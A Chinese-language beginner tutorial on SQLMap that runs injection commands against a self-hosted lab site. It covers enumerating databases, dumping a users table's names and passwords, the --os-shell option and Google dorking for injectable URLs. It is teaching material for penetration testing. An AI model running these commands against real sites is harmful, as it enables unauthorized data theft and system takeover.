SQLMap简介及简单应用实例图文详解
1 SQLMap简介
SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。
注意:sqlmap只是用来检测和利用sql注入点,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点。
SQLMap采用了以下5种独特的SQL注入技术。
• 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
• 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否己执行(即页面返回时间是否增加)来判断。
• 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
• 联合查询注入,在可以使用Union 的情况下的注入。. 堆查询注入,可以同时执行多条语句时的注入。
SQLMap 的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。SQLMap的功能强大到让人惊叹,当常规的注入工具不能利用SQL注入漏洞进行注入时,使用SQLMap会有意想不到的效果。
2 SQLMap安装
SQLMap的安装方式可以自己上网查找,本教程是利用KaliLinux上自带的SQLMap工具进行相关学习与实验,无需自己配置python等基础环境,较简单易上手,如何在虚拟机中安装KaliLinux系统请查看《【Linux系统】第2节 虚拟机中安装Kali系统》。
3 sqlmap的简单使用 3.1 常用命令及参数
查看sqlmap的命令字帮助手册
-u "url" #检测注入点 --dbs #列出所有数据库的名称 --current-db #列出当前数据库的名称 -D #指定一个数据库 --table #列出所有表名 -T #指定表名 --columns #列出所有字段名 -C #指定字段 --dump #列出字段内容
post注入
-r xxx.txt #xxx.txt为http数据包
–cookie #指定cookie
–os-shell #获取shell
sqlmap -g “inurl:php?id=” #利用google自动搜索注入点
3.2 具体操作实例 3.2.1 操作前准备
实验靶场——虚拟机(IP为172.16.1.1):
本节实验靶场是在win2008系统上基于phpstudy搭建的一个简单网站,win2008及phpstudy的安装过程可以参考《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,网站的搭建过程可以参考《【(SQL+HTML+PHP)综合】一个简单论坛网站的综合开发案例》
注入工具——kali虚拟机,自带sqlmap工具
注意,win2008和kali桥接到同一VMnet下。两者可以互相ping通。
3.2.2 具体实例 3.2.2.1 实例1:查看帮助手册
sqlmap -h
3.2.2.2 实例2:检测注入点及注入类型
sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5"
当SQLMap执行该命令时,它会执行以下步骤:
1)判断可注入的参数;2)判断可以用哪种SQL注入技术来注入;3)识别出哪种数据库;4)根据用户选择,读取哪些数据。 3.2.2.3 实例3:列出所有数据库的名字
sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" --dbs
3.2.2.4 实例4:列出当前数据库的名字
sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" --current-db
3.2.2.5 实例5:列出某数据库的所有表名
sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" -D 'jrlt' --tables
3.2.2.6 实例6:列出某表中的所有字段名
sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" -D 'jrlt' -T 'users' --columns
3.2.2.7 实例7:列出某字段中的所有字段内容
sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" -D 'jrlt' -T 'users' -C 'name,password' --dump
3.2.2.8 实例8:post注入
首先利用burpsuite抓到使用post请求方法的http请求数据包,将该包保存为post.txt文件(保存在当前目录下)。输入代码:sqlmap -r post.txt
,会自动读取http数据包来做个post注入的测试
在本专栏博客中,主要以入门知识为主,引领零基础的伙伴了解一些工具的简单操作,会分享sqlmap的简单使用方法,比如:使用该软件来判断目标网站是否存在注入、查询获取数据库的库名表名字段名以及字段内容等信息.其他更详细的用法可详见sqlmap的帮助手册,如-level、-referer、roles等。
4 参考文章及优秀资源推荐
《sqlmap 详解》
《 sqlmap 官网》
《sqlmap文档地址》
相关文章
- 一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server2023-02-04
- Nmap是一款网络扫描和主机检测的非常有用的工具。Nmap是不局限于仅仅收集信息和枚举,同时可以用来作为一个漏洞探测器或安全扫描器。它可以适用于winodws,linux,mac等操作2019-03-16
SQLMAP注入检查方法 11种常见SQLMAP使用方法详解
sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,很多人都是通过这个工具实施的检测与注入,对于我们从事安全防御的人来说,一定要引起注意,一般的程序员写的代2018-08-16- 这篇文章主要介绍了lcx用法之心得总结,需要的朋友可以参考下2017-09-06
- 这篇文章主要介绍了lcx端口转发详细介绍及使用方法(lcx内网转发姿势),需要的朋友可以参考下2017-09-06
- 这是我们的Nmap备忘单的第四部分,本文中我们将讨论更多东西关于扫描防火墙,IDS / IPS 逃逸,Web服务器渗透测试等。在此之前,我们应该了解一下防火墙的一些基础知识以便2016-12-27
- 众所周知NMAP是经常用来进行端口发现、端口识别。除此之外我们还可以通过NMAP的NSE脚本做很多事情,比如邮件指纹识别,检索WHOIS记录,使用UDP服务等2016-12-27
- 这是我们的第二期NMAP备忘单,基本上,我们将讨论一些高级NMAP扫描的技术,我们将进行一个中间人攻击(MITM)。现在,游戏开始了2016-12-27
- nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统(这是亦称 fingerprinting)。它是网2016-12-27
网络漏洞扫描工具Acunetix Web Vulnerability Scanner(AWVS)使用介绍
Acunetix Web Vulnerability Scanner(简称AWVS)是一款知名的网络漏洞扫描工具,它通过网络爬虫测试你的网站安全,检测流行安全漏洞。伦敦时间2015年6月24日,官方发布了2016-09-28
最新评论